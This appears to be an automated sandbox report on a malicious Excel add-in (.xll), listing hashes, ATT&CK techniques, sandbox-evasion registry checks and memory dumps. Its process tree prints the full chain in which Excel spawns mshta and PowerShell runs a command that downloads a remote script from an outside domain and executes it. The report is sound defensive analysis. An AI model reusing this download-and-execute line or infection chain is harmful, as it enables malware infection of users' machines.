0e31d7f7712204afeeb82340286b5faacd389153054b3b2b78d2230b063f9b9d

Analysis

max time kernel
147s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
22/05/2024, 23:54

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General

Target

0e31d7f7712204afeeb82340286b5faacd389153054b3b2b78d2230b063f9b9d.xll
Size

12KB
MD5

4111a7a900c09f62f378b5ac233f9f87
SHA1

4e0b6711bfdf268b44ce3c363bc6f4cf647f8dfd
SHA256

0e31d7f7712204afeeb82340286b5faacd389153054b3b2b78d2230b063f9b9d
SHA512

824e1fba6c9be377ba3bce80c5ea1234f90976debafa9d6840eb00795721fe8ed460b62842e3093b1af0dd53d71515280edfe50f8ba785f20ac9d7582ea68b36
SSDEEP

192:lL29RBzDzeobchBj8JONFONo6ru9rEPEjr7Aha:d29jnbcvYJOKm+u9vr7Ca

Score

10^/10

execution

Malware Config

Extracted

Language

xlm4.0

Source

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2892	2564	mshta.exe	80

Blocklisted process makes network request 1 IoCs

flow	pid	Process
17	4912	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
2564	EXCEL.EXE
2564	EXCEL.EXE

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4912	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2564	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4912	powershell.exe
4912	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4912	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2564	EXCEL.EXE
2564	EXCEL.EXE

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2564 wrote to memory of 2892	2564	EXCEL.EXE	83
PID 2564 wrote to memory of 2892	2564	EXCEL.EXE	83
PID 2564 wrote to memory of 2892	2564	EXCEL.EXE	83
PID 2892 wrote to memory of 4912	2892	mshta.exe	84
PID 2892 wrote to memory of 4912	2892	mshta.exe	84
PID 2892 wrote to memory of 4912	2892	mshta.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\0e31d7f7712204afeeb82340286b5faacd389153054b3b2b78d2230b063f9b9d.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2564
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\RV9E03Y0\d[1].htm

Filesize
2KB

MD5
f754844cfb65838d1dd6b19dde5d835c

SHA1
b3eb677783adc88c8d048898449e04d49f416db6

SHA256
3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

SHA512
f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\0e31d7f7712204afeeb82340286b5faacd389153054b3b2b78d2230b063f9b9d.xll

Filesize
12KB

MD5
4111a7a900c09f62f378b5ac233f9f87

SHA1
4e0b6711bfdf268b44ce3c363bc6f4cf647f8dfd

SHA256
0e31d7f7712204afeeb82340286b5faacd389153054b3b2b78d2230b063f9b9d

SHA512
824e1fba6c9be377ba3bce80c5ea1234f90976debafa9d6840eb00795721fe8ed460b62842e3093b1af0dd53d71515280edfe50f8ba785f20ac9d7582ea68b36

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qtdnffol.ny0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2564-23-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-17-0x00007FFDCE770000-0x00007FFDCE780000-memory.dmp

Filesize
64KB

Download
memory/2564-6-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-5-0x00007FFDD0AD0000-0x00007FFDD0AE0000-memory.dmp

Filesize
64KB

Download
memory/2564-7-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-9-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-10-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-8-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-11-0x00007FFDCE770000-0x00007FFDCE780000-memory.dmp

Filesize
64KB

Download
memory/2564-13-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-12-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-14-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-16-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-15-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-19-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-21-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-20-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-0-0x00007FFDD0AD0000-0x00007FFDD0AE0000-memory.dmp

Filesize
64KB

Download
memory/2564-3-0x00007FFE10AE3000-0x00007FFE10AE4000-memory.dmp

Filesize
4KB

Download
memory/2564-22-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-85-0x00007FFDD0AD0000-0x00007FFDD0AE0000-memory.dmp

Filesize
64KB

Download
memory/2564-4-0x00007FFDD0AD0000-0x00007FFDD0AE0000-memory.dmp

Filesize
64KB

Download
memory/2564-1-0x00007FFDD0AD0000-0x00007FFDD0AE0000-memory.dmp

Filesize
64KB

Download
memory/2564-86-0x00007FFDD0AD0000-0x00007FFDD0AE0000-memory.dmp

Filesize
64KB

Download
memory/2564-87-0x00007FFDD0AD0000-0x00007FFDD0AE0000-memory.dmp

Filesize
64KB

Download
memory/2564-18-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-88-0x00007FFDD0AD0000-0x00007FFDD0AE0000-memory.dmp

Filesize
64KB

Download
memory/2564-89-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/2564-2-0x00007FFDD0AD0000-0x00007FFDD0AE0000-memory.dmp

Filesize
64KB

Download
memory/2564-71-0x00007FFE10A40000-0x00007FFE10C49000-memory.dmp

Filesize
2.0MB

Download
memory/4912-61-0x00000000061E0000-0x00000000061FE000-memory.dmp

Filesize
120KB

Download
memory/4912-62-0x0000000006220000-0x000000000626C000-memory.dmp

Filesize
304KB

Download
memory/4912-63-0x0000000007840000-0x0000000007EBA000-memory.dmp

Filesize
6.5MB

Download
memory/4912-64-0x00000000066E0000-0x00000000066FA000-memory.dmp

Filesize
104KB

Download
memory/4912-60-0x0000000005D10000-0x0000000006067000-memory.dmp

Filesize
3.3MB

Download
memory/4912-51-0x0000000005CA0000-0x0000000005D06000-memory.dmp

Filesize
408KB

Download
memory/4912-50-0x0000000005C30000-0x0000000005C96000-memory.dmp

Filesize
408KB

Download
memory/4912-48-0x00000000054D0000-0x0000000005AFA000-memory.dmp

Filesize
6.2MB

Download
memory/4912-47-0x0000000004D50000-0x0000000004D86000-memory.dmp

Filesize
216KB

Download
memory/4912-49-0x0000000005360000-0x0000000005382000-memory.dmp

Filesize
136KB

Download